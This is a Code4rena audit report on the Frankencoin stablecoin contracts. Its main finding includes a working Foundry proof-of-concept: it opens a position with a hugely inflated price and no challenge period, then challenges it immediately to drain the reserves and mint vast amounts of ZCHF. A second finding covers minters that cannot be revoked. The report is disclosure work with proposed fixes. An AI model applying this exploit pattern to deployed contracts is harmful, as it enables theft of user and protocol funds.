Platform: Code4rena
Start Date: 12/04/2023
Pot Size: $60,500 USDC
Total HM: 21
Participants: 199
Period: 7 days
Judge: hansfriese
Total Solo HM: 5
Id: 231
League: ETH
Rank: 58/199
Findings: 2
Award: $79.41
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: Lirios
Also found by: 0xDACA, 117l11, BenRai, ChrisTina, Emmanuel, Kumpa, SpicyMeatball, T1MOH, __141345__, bin2chen, bughunter007, cccz, jangle, juancito, nobody2018, said, shalaamum, tallo, vakzz
45.5825 USDC - $45.58
The goal of the auction mechanism is to determine the fair price of the collateral, so that Frankencoin (ZCHF) is always sufficiently backed and the system remains in balance.
If the challenge is successful, the bidder gets the collateral from the position and the position is closed, distributing excess proceeds to the reserve and paying a reward to the challenger.
The reward for the challenger is based on the user provided price and can be abused to have the protocol pay unlimited rewards.
When a challenge ends without being Averted, the end() function can be called to process the liquidation.
This process pays back the minted ZCHF
tokens with the bid and sends the collateral to the bidder. The challenger receives back the collateral he supplied when starting the challenge, and receives a CHALLENGER_REWARD
of 2% of the challenged collateral value in ZCHF
.
To calculate the value of the reward, it uses
uint256 reward = (volume * CHALLENGER_REWARD) / 1000_000; with volume
being the volumeZCHF
value returned from Position.notifyChallengeSucceeded()
This is calculated as
uint256 volumeZCHF = _mulD18(price, _size);
// How much could have minted with the challenged amount of the collateral
meaning that if the price is very high, the theoretical volumeZCHF will be very high too.
When there are insufficient funds in the Position to pay for the reward, FrankenCoin.notifyLoss()
is used to get the funds from the reserve and mint new coins.
The price of a Position can be set when it is created, or later by the owner via an adjustPrice call. The steps to take:
Position owner mints the maximum ZCHF.
Position owner adjusts price and sets it to a very large value.
owner immediately starts a challenge via MintingHub
with price being very high, if there are bids, they will never pass the AvertChallenge check of _bidAmountZCHF * ONE_DEC18 >= price * _collateralAmount
so the Challenge will always succeed.
After the challenge period, the end() function can be called, and Challenger will receive a high amount of ZCHF as a fee.
An alternative and faster way is to create a new position and immediately challenge it.
When creating a Position, _challengeSeconds
can be set to 0 and calling launchChallenge
is possible before Position start waiting time is over. This makes it possible for any user to drain all reserves and mint a large number of ZCHF in 1 transaction.
A proof of concept testscript is created to demonstrate the vulnerability.
This code was added to GeneralTest.t.sol
function showBalances() public { address hacker = 0xBaDbaDBAdBaDBaDbaDbABDbAdBAdBaDbADBadB01; console.log('================ Balances ================'); console.log('hacker xchf :',xchf.balanceOf(hacker)/1e18); console.log('hacker zchf :',zchf.balanceOf(hacker)/1e18); console.log('reserver zchf :',zchf.balanceOf(address(zchf.reserve()))/1e18); console.log('zchf.totalSupply:',zchf.totalSupply()/1e18); console.log(' '); } function test10AbuseChallengeReward() public { test04Mint(); // let bob/alice open position so not all is empty // init, start wit 2 xchf and 1000 zhf address hacker = 0xBaDbaDBAdBaDBaDbaDbABDbAdBAdBaDbADBadB01; TestToken xchf_ = TestToken(address(swap.chf())); xchf_.mint(address(hacker), 1002 ether); vm.startPrank(hacker); xchf_.approve(address(swap), 1000 ether); swap.mint(1000 ether); showBalances(); // open a position with fake inflated price and dummy collateral. // _challengeSeconds to 0 so we can immediately challenge and end xchf_.approve(address(hub), 1 ether); // collateral zchf.approve(address(hub), 1000 ether); // 1000 OPENING_FEE address myPosition = hub.openPosition( address(xchf_), // _collateralAddress, 1 ether, // _minCollateral 1 ether, // _initialCollateral 1000 ether, // _mintingMaximum 3 days, // _initPeriodSeconds minimum perios 10 days, // _expirationSeconds 0, // _challengeSeconds set to 0 to immediately challenge and end 0, //_mintingFeePPM, type(uint256).max / 1e20, // _liqPrice - huge inflated price 0 // _reservePPM ); console.log('Creates our Position with inflated price, 1000 opening fee to reserves 1 xchf as collateral'); showBalances(); console.log('Start launchChallenge and immediately end the auction.'); console.log('We will receive the 1 xchf collateral back'); console.log('and 2% of inflated collateral price in zchf as CHALLENGER_REWARD'); console.log('zchf is first taken all from reserve, and rest minted'); xchf_.approve(address(hub), 1 ether); // collateral uint256 challengeID = hub.launchChallenge(myPosition, 1 ether); hub.end(challengeID); showBalances(); vm.stopPrank(); }
The results of the test
[PASS] test10AbuseChallengeReward() (gas: 3939346) Logs: ================ Balances ================ hacker xchf : 2 hacker zchf : 1000 reserver zchf : 23500 zchf.totalSupply: 102000 We have creates our Position with inflated price ================ Balances ================ hacker xchf : 1 hacker zchf : 0 reserver zchf : 24500 zchf.totalSupply: 102000 Start launchChallenge and immediately end the auction. We will receive the 1 xchf collateral back and 2% of inflated collateral price in zchf as CHALLENGER_REWARD zchf is first taken all from reserve, and rest minted ================ Balances ================ hacker xchf : 2 hacker zchf : 23158417847463239084714197001737581570 reserver zchf : 0 zchf.totalSupply: 23158417847463239084714197001737659070
manual review, forge
it would be recommeded to restrict the moments when challenges can be started so Positions cannot be challenged before start time and when they are denied. This will make challenges only possible when a position once was valid, with a valid price. To prevent owners to change the price of their Position to an extremenly large value, it can be limited to change the price max x% per adjustment.
#0 - c4-pre-sort
2023-04-24T08:29:15Z
0xA5DF marked the issue as primary issue
#1 - luziusmeisser
2023-04-30T18:03:37Z
This is probably the most important issue revealed during the audit. The warden deserves a big reward for this!
#2 - c4-sponsor
2023-04-30T18:03:44Z
luziusmeisser marked the issue as sponsor confirmed
#3 - c4-judge
2023-05-17T18:43:29Z
hansfriese marked the issue as selected for report
33.835 USDC - $33.83
Via suggestMinter
new minters can be proposed. if denyMinter
is not called during the application period, the minter is approved and permanently added to the minters array.
If a vulnerability is found in a minter contract after it has been approved, there is no way to stop it. This is a risk to the entire protocol. It should be possible to pauzee a minter and with good governance approval to permanently disable it.
Current approved minters are the MintingHub
and StablecoinBridge
If a vulnerability is found in one of these contracts, it is impossible to revoke their minting rights.
With possibly more approved minters in the future, the chances of any of them having a vulnerability will grow, increasing the risk of the whole protocol.
manual review
Revoking a minter should be possible, but it should not be possible for bad actors to revoke valid minters.
A possible mechanism is adding a suggestRevokeMinter
method, requiring a large fee (20k+ ZCHF?) which will temporarily pause the minting functionality of the minter. After that a DAO vote can be held with large quorem to approve or deny the revokation request.
If it is approved, the caller receives back his paid fee, if the DOA denies the request, the fee goes to the reserves and minting rights are restored.
#0 - c4-pre-sort
2023-04-21T15:16:27Z
0xA5DF marked the issue as duplicate of #230
#1 - c4-judge
2023-05-18T13:42:38Z
hansfriese marked the issue as satisfactory